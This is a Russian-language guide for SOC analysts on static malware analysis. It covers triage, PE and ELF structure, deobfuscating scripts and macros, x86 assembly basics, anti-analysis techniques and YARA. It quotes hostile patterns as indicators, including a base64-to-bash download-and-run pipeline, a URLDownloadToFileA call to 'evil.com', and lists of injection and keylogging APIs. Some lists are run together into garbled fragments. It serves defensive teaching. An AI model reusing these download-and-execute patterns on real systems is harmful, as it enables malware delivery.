Справочное руководство SOC-аналитика по методологии исследования вредоносных файлов без их запуска — от первичной сортировки до дизассемблирования
Статический анализ — это исследование вредоносного файла без его запуска. Аналитик изучает структуру файла, извлекает строки, анализирует импортируемые функции, проверяет цифровые подписи и при необходимости дизассемблирует код. Статический анализ безопаснее динамического (нет риска заражения), позволяет понять логику работы малвари на глубоком уровне и обнаружить спящие возможности, которые не проявились бы при запуске в песочнице. Данное руководство выстроено от простого к сложному: первая часть рассчитана на SOC-аналитика, вторая — на начинающего реверс-инженера.
Динамический анализ отвечает на вопрос «что делает малварь?» — вы видите её поведение в реальном времени. Статический анализ отвечает на вопрос «как она это делает и что ещё может?» — вы читаете её код. На практике оба метода дополняют друг друга: динамический даёт быструю оценку, статический — глубокое понимание.
Когда нужен статический анализ
Уровни статического анализа
Быстро ответить на ключевые вопросы: что это за файл, видели ли его раньше, насколько он подозрителен, стоит ли тратить время на глубокий анализ. Это первый этап любого расследования.
Шаг 1 — Хэширование
SHA-256, MD5, SHA-1 — в этом порядке приоритета. SHA-256 — основной идентификатор в TI-платформах. Используйте sha256sum (Linux), Get-FileHash (PowerShell) или HashMyFiles (GUI).
Загрузите хэш (не сам файл!) в VirusTotal, MalwareBazaar, Hybrid Analysis. Если образец уже известен — вы получите готовый вердикт, семейство, IoC и поведенческий отчёт. Не загружайте сам файл, если он может содержать конфиденциальные данные организации.
Шаг 2 — Идентификация типа файла
Расширение файла может быть подделано. Определите реальный тип по magic bytes (сигнатуре заголовка). Используйте Detect It Easy (DiE), file (Linux), TrID. DiE также покажет компилятор, упаковщик и платформу.
Шаг 3 — Извлечение строк
Строки — самый быстрый способ получить IoC без глубокого анализа. Ищите URL-адреса, IP-адреса, домены, пути к файлам, ключи реестра, сообщения об ошибках, имена функций. Используйте strings (Sysinternals / GNU) для базового извлечения и FLOSS (Mandiant) для автоматической деобфускации зашифрованных строк.
Шаг 4 — Быстрая оценка
Для PE-файлов на Windows pestudio объединяет все шаги triage в одном интерфейсе: хэши, строки, импорты, секции, ресурсы, энтропия, VirusTotal-проверка, индикаторы подозрительности — всё с цветовой разметкой. Рекомендуется как первый инструмент для любого PE-образца.
Portable Executable (PE) — формат исполняемых файлов Windows: .exe, .dll, .sys, .scr, .ocx. Понимание структуры PE позволяет определить возможности малвари (по импортируемым функциям), обнаружить упаковку (по энтропии секций), извлечь ресурсы (иконки, вложенные файлы) и выявить аномалии. Анализ выполняется в CFF Explorer, PEView, pestudio, PE-bear.
Ключевые области анализа
Импортируемые функции WinAPI раскрывают намерения малвари. Вот что нужно искать:
CreateRemoteThread, VirtualAllocEx, WriteProcessMemory, NtUnmapViewOfSectionCreateFileA/W, WriteFile, DeleteFileA, CopyFileA, MoveFileARegSetValueEx, RegCreateKeyEx, RegDeleteKeyInternetOpenA, HttpSendRequest, URLDownloadToFile, WSAStartup, connectCryptEncrypt, CryptDecrypt, CryptAcquireContext, BCryptEncryptSetWindowsHookEx, GetAsyncKeyState, BitBlt, GetDCAdjustTokenPrivileges, OpenProcessToken, LookupPrivilegeValueIsDebuggerPresent, CheckRemoteDebuggerPresent, GetTickCount, QueryPerformanceCounterPE-файл разделён на секции (.text, .data, .rdata, .rsrc). Каждая имеет характерную энтропию:
.data..text.Если весь PE-файл имеет энтропию >7 — он почти наверняка упакован. Секция с именем, отличным от стандартных (.UPX0, .vmp, случайные имена) — дополнительный признак.
Секция .rsrc может содержать вложенные файлы: дополнительные PE-файлы (второй этап), конфигурации, иконки, строковые таблицы. Используйте Resource Hacker или CFF Explorer для извлечения и анализа ресурсов. Частый паттерн: дроппер хранит зашифрованный пейлоад в ресурсах, расшифровывает и запускает при выполнении.
ServiceMain = служба, DllRegisterServer = COM-объект).notepad.exe) в CFF Explorer — изучите его структуру как эталон. Затем сравните с вредоносным образцом: аномалии станут очевидны.
.NET-сборки компилируются не в машинный код, а в промежуточный язык (CIL / MSIL), который содержит метаданные: имена классов, методов, переменных, строки. Это позволяет декомпилировать сборку обратно в читаемый C# / VB.NET код — практически один-в-один с оригиналом. Для аналитика это означает: вместо чтения ассемблера — чтение C#. Многие RAT (AsyncRAT, QuasarRAT), infostealers (AgentTesla) и загрузчики написаны на .NET.
Методология
_CorExeMain (из mscoree.dll).Откройте сборку в dnSpyEx (форк dnSpy, активно развивается) или ILSpy. Вы увидите полное дерево пространств имён, классов и методов с декомпилированным C#-кодом. Ищите:
Main() или конструктор — точка входа.Encrypt, Decrypt, Send, Upload, Keylog.Registry, ScheduledTask).Злоумышленники обфусцируют .NET-код с помощью инструментов: ConfuserEx, .NET Reactor, Babel, Eazfuscator. Признаки: нечитаемые имена методов/классов (случайные символы, Unicode), зашифрованные строки, control flow obfuscation. Инструменты деобфускации: de4dot (автоматическая деобфускация для большинства протекторов), dnSpyEx (ручной патчинг и отладка).
de4dot sample.exe -o clean.exe → открыть clean.exe в dnSpyEx → найти конфигурацию C2 и логику. Весь процесс — 10–20 минут.
Скрипты — основной вектор начальной доставки малвари: фишинговые вложения (.vbs, .js, .wsf, .hta), PowerShell-дропперы, bash-загрузчики. Они текстовые по природе и поддаются анализу без дизассемблирования, но почти всегда обфусцированы.
PowerShell
[System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('...')).IEX на Write-Output — скрипт выведет расшифрованный код вместо выполнения.("{2}{0}{1}" -f 'wnload','String','Do') → DownloadString. Раскройте вручную или в PowerShell ISE.[char]104+[char]116+[char]116+[char]112 → http.VBScript / JScript
WScript.Shell, Shell.Application, Scripting.FileSystemObject — выполнение команд и работа с файлами.MSXML2.XMLHTTP, WinHttp.WinHttpRequest — загрузка пейлоадов из сети.Execute / eval на WScript.Echo — скрипт выведет расшифрованный код.<script>.Bash / Shell
curl, wget — загрузка пейлоадов. eval, bash -c — выполнение кода.echo "BASE64" | base64 -d | bash — декодируйте вручную: echo "BASE64" | base64 -d (без | bash).\x68\x74\x74\x70 → http. Используйте echo -e или CyberChef.~/.bashrc — механизмы персистентности.Microsoft Office (макросы VBA)
.doc/.xls (OLE2, старый формат) или .docx/.xlsm (ZIP-архив с XML). Для OLE2 — olevba; для OOXML — распакуйте как ZIP и ищите vbaProject.bin.olevba sample.doc (из пакета oletools). Выводит VBA-код, подозрительные паттерны, IoC.AutoOpen, Document_Open, Workbook_Open (автозапуск), Shell, WScript.Shell (выполнение команд), URLDownloadToFile (загрузка), CreateObject("Scripting.FileSystemObject") (запись файлов).pdfid sample.pdf — показывает количество объектов: /JS, /JavaScript (встроенный скрипт), /OpenAction, /AA (автозапуск), /EmbeddedFile (вложения), /Launch (запуск внешних программ).pdf-parser -a sample.pdf — детальный разбор объектов. pdf-parser --object N --filter --raw — извлечение содержимого конкретного объекта.С ростом облачной инфраструктуры и IoT-устройств Linux-малварь становится всё более распространённой: криптомайнеры, ботнеты (Mirai и его варианты), ransomware для Linux-серверов (ESXi-шифровальщики), бэкдоры для серверов. Принципы анализа аналогичны PE, но инструменты и формат отличаются.
Методология
file sample — тип файла, архитектура (x86, x64, ARM, MIPS), статическая/динамическая линковка.readelf -h sample — ELF-заголовок: точка входа, архитектура, тип (EXEC, DYN, REL).readelf -S sample — секции: .text (код), .rodata (строки), .data, .bss.readelf --dyn-syms sample — динамические символы: импортируемые функции (аналог IAT в PE).strings sample / strings -el sample — извлечение ASCII и Unicode строк.socket, connect, send, recv, getaddrinfoexecve, system, popen, forkopen, write, unlink, rename, chmodEVP_EncryptInit, AES_encrypt (OpenSSL), custom XOR-циклыЕсли файл статически слинкован (file покажет «statically linked»), стандартные имена функций отсутствуют — вместо connect будет безымянный адрес. В таком случае используйте Ghidra с базой сигнатур (FLIRT / Function ID) для восстановления имён стандартных библиотечных функций.
readelf, objdump, nm — встроены в Linux. Ghidra — для дизассемблирования и декомпиляции ELF. Cutter (r2-based) — GUI-альтернатива. Для IoT-малвари (ARM, MIPS) — Ghidra поддерживает мультиархитектурный анализ.
Адреса памяти
В дизассемблере вы постоянно будете видеть числа вида 0x401000, 0x7FFE0300, 0x00000000. Это адреса в виртуальной памяти процесса — каждому байту в памяти присвоен уникальный номер (адрес). Префикс 0x означает шестнадцатеричную (hex) систему счисления.
0x00401000 — типичный адрес начала секции .text (код).Когда вы видите инструкцию call 0x00401000 — это вызов функции, расположенной по адресу 0x00401000 внутри анализируемого файла. А call dword ptr [0x00402078] — это вызов по адресу, записанному в таблице импортов (IAT), то есть обращение к WinAPI.
Регистры процессора
Регистры — это сверхбыстрая память внутри самого процессора (не RAM). Их немного, и каждый имеет определённую роль. В x86 регистры 32-битные (E-префикс: EAX), в x64 — 64-битные (R-префикс: RAX). При анализе малвари вы будете видеть их в каждой строке дизассемблированного кода.
call CreateFileA результат (хэндл файла или ошибка) будет в EAX.loop автоматически уменьшает ECX. В x64 — первый аргумент функции (Microsoft calling convention).movsb, cmpsb). В малвари часто указывает на буфер-источник при копировании данных.push / pop / call / ret. Показывает, «где мы сейчас» в стеке.[ebp-4] — первая локальная переменная, [ebp+8] — первый аргумент функции (в x86).jmp, call, ret. Контроль над EIP/RIP = контроль над выполнением программы.je/jne проверяют именно эти флаги.Инструкции ассемблера
Ассемблер — это текстовое представление машинного кода. Каждая инструкция выполняет одну элементарную операцию. Формат: ИНСТРУКЦИЯ ПРИЁМНИК, ИСТОЧНИК (Intel-синтаксис).
mov eax, 5 → записать число 5 в регистр EAX. mov eax, ebx → скопировать значение из EBX в EAX. mov eax, [ebp-4] → прочитать значение из памяти по адресу (EBP - 4) в EAX. Квадратные скобки [ ] означают «значение по адресу» (разыменование указателя).
push eax → положить значение EAX на вершину стека (ESP уменьшается на 4). pop ebx → снять значение с вершины стека в EBX (ESP увеличивается на 4). Используются для передачи аргументов функциям (x86) и сохранения регистров.
call 0x401000 → сохранить адрес следующей инструкции на стек (адрес возврата) и перейти по адресу 0x401000. ret → снять адрес возврата со стека и перейти по нему. Так работают все функции.
cmp eax, 0 → сравнить EAX с 0 (вычитание без сохранения результата, только флаги). test eax, eax → побитовое AND без сохранения; если EAX = 0, устанавливается Zero Flag. После cmp/test всегда идёт условный переход.
jmp 0x401070 → безусловный переход (аналог goto). je (Jump if Equal) → перейти, если ZF=1 (значения равны). jne (Jump if Not Equal) → перейти, если ZF=0. ja / jb → переход если больше / меньше (unsigned). Это и есть ветвления — if/else на уровне процессора.
xor eax, eax → обнуление регистра (любое число XOR само с собой = 0). Это самый быстрый способ обнулить регистр — идиома, которую вы увидите повсеместно. xor byte [esi], 0x55 → XOR-шифрование байта ключом 0x55 — частая техника обфускации строк в малвари.
lea eax, [ebp-8] → записать в EAX адрес (EBP - 8), не содержимое по этому адресу. В отличие от MOV, LEA вычисляет адрес, но не обращается к памяти. Часто используется для получения указателя на локальную переменную.
nop → ничего не делает (opcode: 0x90). Используется для выравнивания кода, как placeholder для патчинга, и в NOP-sled'ах (эксплуатация переполнения буфера). Серия nop в середине кода — подозрительный признак.
Понимание передачи аргументов критично для определения параметров WinAPI-вызовов:
push "http://evil.com" → push 0 → call URLDownloadToFileA.Инструменты дизассемблирования
main или entry. Изучите граф потока управления (CFG). Прочитайте декомпилированный псевдо-C код. Попробуйте определить: что делает программа, какие API вызывает, есть ли ветвления (условия). Практикуйтесь на crackmes с crackmes.one.
Большинство серьёзной малвари использует техники противодействия анализу. Знание этих техник позволяет: распознать их на этапе triage, выбрать правильную стратегию обхода и не тратить время на «пустой» анализ упакованного файла, содержащего только распаковщик.
Упаковка (Packing)
LoadLibrary, GetProcAddress), нестандартные имена секций, несоответствие размера на диске и виртуального размера секций.upx -d sample.exe), Themida/WinLicense, VMProtect, ASPack, PECompact, кастомные пакеры.Обфускация кода
Антиотладка и антивиртуализация
GetTickCount, QueryPerformanceCounter, rdtsc — замер времени между инструкциями. Задержка = отладка.YARA — инструмент для создания правил, описывающих паттерны в файлах. «Swiss army knife» малварь-аналитика: позволяет классифицировать образцы, искать по файловой системе, интегрировать с SIEM и песочницами. YARA-правило — это набор строк (hex, ASCII, regex) и условий их сочетания.
Структура правила
2 of ($str*) — любые 2 из набора строк. Это устойчивее, чем требование всех строк одновременно.C:\Windows\System32 — если есть срабатывания, правило слишком общее.yara rule.yar sample.exe — проверка одного файла.yara -r rule.yar /path/to/dir/ — рекурсивный поиск по директории.